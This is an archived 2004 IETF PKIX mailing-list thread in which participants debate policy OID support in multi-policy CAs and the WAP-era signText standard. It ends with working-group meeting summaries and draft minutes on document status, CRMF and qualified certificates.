> Sent: Friday, February 27, 2004 12:04 PM
> To: Anders Rundgren
> Cc: [e-mail]
> Subject: Re: OMA's signText: No Policy OID
>
>
>
> At 19:53 +0100 2/26/04, Anders Rundgren wrote:
> >"signText" which is the only on-line signature standard
> >there is, which has been defined by the Open Mobile Alliance
> >(backed by all the big guys) supports client certificate
> >filtering based on CA, but not on Policy OID.
> >
> >I'm sorry for being such a PITA but it might be of some value
> >for implementers of CAs to know that multi-policy PKIs
> >(in contrast to having separate CAs each supporting
> >a single policy) indeed have some practical issues.
> >
> >Current multi-policy-CA incompatibility list:
> >- Major off-the shelf software (IE, Outlook, IIS)
> >- SSL/TLS
> >- signText
> >- Most trust store management systems
> >- Common PKI knowledge level
> >- Streamlined administration support
> >
> >Anders R
>
> Well, it's good to know that even you characterize yourself as a PITA.
>
> The cited examples above are, as I have come to expect, a hodge
> podge.  You may factually cite a specific, non-compliant
> implementation of a specified protocol as evidence in support of your
> notion that we don't need policy OID support, but  the last two
> bullets above merely represent your perception. The claim that
> SSL/TLS do not support policy OIDs is based on an interpretation of
> one feature of these protocols, i.e., their ability to inform a
> client of the CAs that a server is prepared to use in validating
> client certs.  However, the folks who have extensive experience with
> these protocols have made it clear that the reasons for doing this
> are historical, not an architected feature. Then there's your
> "signtext" example, which is just an instance of a vendor consortium
> suggesting something for their environment.  That has all the glitter
> of WAP!
>
> In summary, your argument is more or less:
> - non-compliant implementations do X.
> - some vendors got together and decided to do X explicitly.
> - some protocols are silent on use of X, for historical reasons
> - thus X should be removed from IETF standards
>
> I am not persuaded by an argument of this form.
>
> Steve



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21D0A4F010618; Mon, 1 Mar 2004 05:00:10 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i21D0AB1010613; Mon, 1 Mar 2004 05:00:10 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21D09Ws010601 for <[e-mail]>; Mon, 1 Mar 2004 05:00:09 -0800 (PST) (envelope-from [e-mail])
Received: from arsenaultd2 (col-dhcp33-244-172.bbn.com [128.33.244.172]) by aragorn.bbn.com (8.12.7/8.12.7) with SMTP id i21D05M8023213; Mon, 1 Mar 2004 08:00:05 -0500 (EST)
From: "Al Arsenault" <[e-mail]>
To: "Stephen Kent" <[e-mail]>, "Anders Rundgren" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: OMA's signText: No Policy OID
Date: Mon, 1 Mar 2004 07:59:51 -0500
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <p06020400bc6525908ec6@[10.1.187.100]>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Actually, Steve's more correct than he may realize. :-)

The WAP Forum got merged into the Open Mobile Alliance about a year ago.
The "signText" work was done by WAP, in something like 1999/2000, and has
just been carried forward since then. OMA seems to me to mostly have been
about DRM rather than security in the last year.

Bearing in mind that the whole WAP agenda was to develop a "wireless web"
for small phones and small networks that couldn't handle the Internet-style
overhead (for instance, TCP/TLS were far too heavyweight), the goal was to
develop a PKI profile that provided some semblance of security while being
small in terms of processing required and even smaller in bits transmitted
across the network and especially in roundtrips.

So given that requirement, and the timeframe in which it was designed, it's
no wonder that signText doesn't have any of the policy or other baggage.

Thus, I don't think it's a relevant example to bring before PKIX.

(Please don't make me go back and re-hash the WAP years any more than this.
It's just too, too painful.  :-)

			Al Arsenault



> -----Original Message-----
> From: [e-mail]
> [mailto:[e-mail]]On Behalf Of Stephen Kent
> Sent: Friday, February 27, 2004 12:04 PM
> To: Anders Rundgren
> Cc: [e-mail]
> Subject: Re: OMA's signText: No Policy OID
>
>
>
> At 19:53 +0100 2/26/04, Anders Rundgren wrote:
> >"signText" which is the only on-line signature standard
> >there is, which has been defined by the Open Mobile Alliance
> >(backed by all the big guys) supports client certificate
> >filtering based on CA, but not on Policy OID.
> >
> >I'm sorry for being such a PITA but it might be of some value
> >for implementers of CAs to know that multi-policy PKIs
> >(in contrast to having separate CAs each supporting
> >a single policy) indeed have some practical issues.
> >
> >Current multi-policy-CA incompatibility list:
> >- Major off-the shelf software (IE, Outlook, IIS)
> >- SSL/TLS
> >- signText
> >- Most trust store management systems
> >- Common PKI knowledge level
> >- Streamlined administration support
> >
> >Anders R
>
> Well, it's good to know that even you characterize yourself as a PITA.
>
> The cited examples above are, as I have come to expect, a hodge
> podge.  You may factually cite a specific, non-compliant
> implementation of a specified protocol as evidence in support of your
> notion that we don't need policy OID support, but  the last two
> bullets above merely represent your perception. The claim that
> SSL/TLS do not support policy OIDs is based on an interpretation of
> one feature of these protocols, i.e., their ability to inform a
> client of the CAs that a server is prepared to use in validating
> client certs.  However, the folks who have extensive experience with
> these protocols have made it clear that the reasons for doing this
> are historical, not an architected feature. Then there's your
> "signtext" example, which is just an instance of a vendor consortium
> suggesting something for their environment.  That has all the glitter
> of WAP!
>
> In summary, your argument is more or less:
> 	- non-compliant implementations do X.
> 	- some vendors got together and decided to do X explicitly.
> 	- some protocols are silent on use of X, for historical reasons
> 	- thus X should be removed from IETF standards
>
> I am not persuaded by an argument of this form.
>
> Steve



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21Bb1ld003859; Mon, 1 Mar 2004 03:37:01 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i21Bb1xO003857; Mon, 1 Mar 2004 03:37:01 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21Bav0t003826 for <[e-mail]>; Mon, 1 Mar 2004 03:37:00 -0800 (PST) (envelope-from [e-mail])
Received: from [172.16.39.232] (ramblo.bbn.com [128.33.0.51]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i21BaoM9019411; Mon, 1 Mar 2004 06:36:52 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@localhost
Message-Id: <p06020400bc68cf70dc88@[128.89.89.75]>
Date: Mon, 1 Mar 2004 06:31:40 -0500
To: [e-mail]
From: Stephen Kent <[e-mail]>
Subject: WG meeting summary
Cc: russ housley <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

The PKIX meeting was brief, with only three agenda items, in addition 
to a review of document status. The SIM work requires more work, and 
the authors will be making revisions and issuing a new version to 
address comments, most from Jim Schaad. Jim reported on his revisions 
to RFC 2511. The major concern raised by Jim was that several of the 
POP methods defined in the document are under specified and might be 
vulnerable, unless appropriate details are carefully specified. Russ 
Housley reviewed the history of a large number of comments from Denis 
re RFC 3039bis. He explained the current document status and what 
options are available to the WG in dealing with the remaining five 
comments from Denis. The options were to proceed with the current 
version of the document (with the option of making four of the five 
requested changes during the RFC Editor's 48-hour final review 
period), or to execute a seven-step process to accommodate the 
comments. A straw poll showed strong support among attendees for 
proceeding with the document as is.



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21Bb17F003860; Mon, 1 Mar 2004 03:37:01 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i21Bb14c003858; Mon, 1 Mar 2004 03:37:01 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21BaxDV003828 for <[e-mail]>; Mon, 1 Mar 2004 03:37:00 -0800 (PST) (envelope-from [e-mail])
Received: from [172.16.39.232] (ramblo.bbn.com [128.33.0.51]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i21BaoMB019411 for <[e-mail]>; Mon, 1 Mar 2004 06:36:55 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@localhost
Message-Id: <p06020401bc68cf9de732@[128.89.89.75]>
Date: Mon, 1 Mar 2004 06:33:25 -0500
To: [e-mail]
From: Stephen Kent <[e-mail]>
Subject: draft meeting minutes
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

The following draft minutes are submitted for WG review and comments 
from speakers.

Steve
------

PKIX WG Meeting 3/1/04

Edited by Steve Kent

Chairs: Stephen Kent <[e-mail]> & Tim Polk <[e-mail]>

The PKIX WG met once during the 59th IETF. A total of approximately 
49 individuals participated in the meeting.


Agenda review and document status - Steve Kent (BBN) using slides 
from Tim Polk (NIST)
	The backlog of WG documents has subsided a bit. Several new 
RFCs have been issued, or will be issued soon.  Logotypes was issued 
as RFC 3709. Proxy certificates is in the RFC editors queue as is the 
IP address and AS identifier document. Qualified certificates has 
been approved by the IESG.  The warranty extension document requires 
revisions before being forwarded to the RFC editor.
	Several documents are in the hands of the ADs: permanent 
identifier, attribute certificate policies, extensions for wireless 
LANs, and repository locator service.  CRMF and CMP require revisions 
before progressing. SCVP and PK algorithms are in WG last call. The 
path building and ECC (NIST curves) documents are ready for last 
call, and SIM is getting closer. LDAP specs, and OCSPv2 extensions 
are ongoing work items.  Interoperability tests are being performed 
by several vendors, in preparation for progression of RFCs 3279/3280.

Subject Identification Method - Jongwook Park (KISA)
This presentation reviewed changes from previous draft, and responses 
to 21 comments received during WG last call.

CRMF (RFC 2511bis) - Jim Schaad (Soaring Hawk Consulting)
	Jim took over as editor, and has made significant updates. He 
sees several outstanding issues yet to be resolved, that are blocking 
progress. Some of the POP methods appear to be vulnerable, and thus 
need to be dropped or fixed. Also, the DH-MAC POP algorithm should be 
made more algorithm generic, e.g., to accommodate ECC algorithms. 
Need to fix some underspecified parts of registration token, 
archival, and registration info features of the protocol. Will take 
this up on the list to determine how critical these features are, 
especially with regard to POP. Possible outcomes are: removal of some 
(or all) of these features, or fixes that address the problems.

RFC 3039bis (Qualified Certificates) - Russ Housley (Vigil Security)
	Russ reviewed the sequence of events associated with a large 
number (38) of comments received from Denis Pinkas during the IETF 
Last Call for this document. At this point there are only five 
comments outstanding, and all are essentially editorial in nature. 
However, if the document is to be changed to accommodate these 
remaining changes, if will be necessary to reprocess the document 
through a 7-step process. This the WG has a choice: option 1: it can 
proceed with the document in its current form; option 2: it can make 
the suggested changes, and proceed with the 7-setp process Russ 
outlined. Russ asked for a show of hands from attendees as to which 
option was preferred. Russ invited comments from the floor on the 
choices, and several individuals expressed the opinion that the first 
four comments are trivial editorial changes that could be made during 
the RFC editor's 48-hour final revision interval. Several folks 
expressed the opinion that the security considerations text should 
appear in a more general document, e.g., RFC 3280. The show of hands 
indicated that the attendees strongly preferred the first option, 
although there were a few hands in support of option two.